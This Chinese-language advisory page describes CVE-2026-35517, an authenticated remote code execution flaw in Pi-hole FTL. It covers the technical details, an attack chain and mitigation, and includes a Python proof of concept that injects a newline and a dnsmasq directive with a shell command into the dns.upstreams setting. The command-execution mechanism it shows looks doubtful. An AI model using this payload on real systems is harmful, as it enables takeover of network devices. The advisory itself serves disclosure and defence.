IPBUF安全漏洞报告
English
CVE-2026-35517 CVSS 8.8 高危

CVE-2026-35517 Pi-hole FTL 远程代码执行漏洞

披露日期: 2026-04-07

漏洞信息

漏洞编号
CVE-2026-35517
漏洞类型
远程代码执行 (RCE)
CVSS评分
8.8 高危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Pi-hole FTL (FTLDNS)

相关标签

RCEPi-hole代码注入命令执行CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

漏洞概述

Pi-hole FTL引擎在6.0至6.6之前的版本中存在远程代码执行漏洞。攻击者利用认证权限通过dns.upstreams配置参数注入换行符,进而注入任意dnsmasq配置指令,最终实现底层系统命令执行。该漏洞风险较高,建议尽快升级。

技术细节

该漏洞根因在于Pi-hole FTL引擎对上游DNS服务器配置参数(dns.upstreams)的输入校验机制不完善,未能有效过滤换行符(\n)。攻击者需具备合法的登录凭证,通过Web界面或API修改DNS设置。在提交配置时,攻击者利用换行符截断原有指令,并追加恶意的dnsmasq配置指令。由于FTL引擎会将这些配置直接传递给底层的dnsmasq进程进行加载和解析,且dnsmasq支持通过特定选项(如dhcp-option等)执行系统命令或调用外部脚本,攻击者借此可绕过应用层限制,直接在操作系统层面执行任意代码,造成严重的远程代码执行风险。

攻击链分析

STEP 1
1. 获取认证凭证
攻击者通过钓鱼或暴力破解等方式获取Pi-hole管理后台的合法登录凭证。
STEP 2
2. 构造恶意Payload
攻击者构造包含换行符(\n)的恶意字符串,旨在注入额外的dnsmasq配置指令。
STEP 3
3. 发送配置请求
攻击者利用认证会话,通过API或Web表单将包含Payload的数据提交至dns.upstreams参数。
STEP 4
4. 配置重载与执行
FTL引擎接收配置并重载dnsmasq服务,解析被注入的恶意指令,导致系统执行任意命令。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target Pi-hole API endpoint url = "http://<target-ip>/api/config" # Attacker's authenticated session cookie cookies = { "PHPSESSID": "<valid-session-id>" } # Malicious payload injecting a newline to break config and add a directive # Example: injecting a dhcp-option that executes a shell command payload = "8.8.8.8\ndhcp-option=6,`touch /tmp/pwned`" # Data to be sent data = { "dns.upstreams": payload } try: response = requests.post(url, json=data, cookies=cookies, timeout=5) if response.status_code == 200: print("[+] Configuration updated successfully. Check for command execution.") else: print(f"[-] Failed to update config. Status code: {response.status_code}") except Exception as e: print(f"[!] Error: {e}")

影响范围

Pi-hole FTL >= 6.0, < 6.6

防御指南

临时缓解措施
若无法立即升级,请严格限制对Pi-hole管理界面的网络访问,确保仅受信任的内网IP可以访问,并密切监控系统日志中是否存在异常的配置变更或dnsmasq进程行为。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表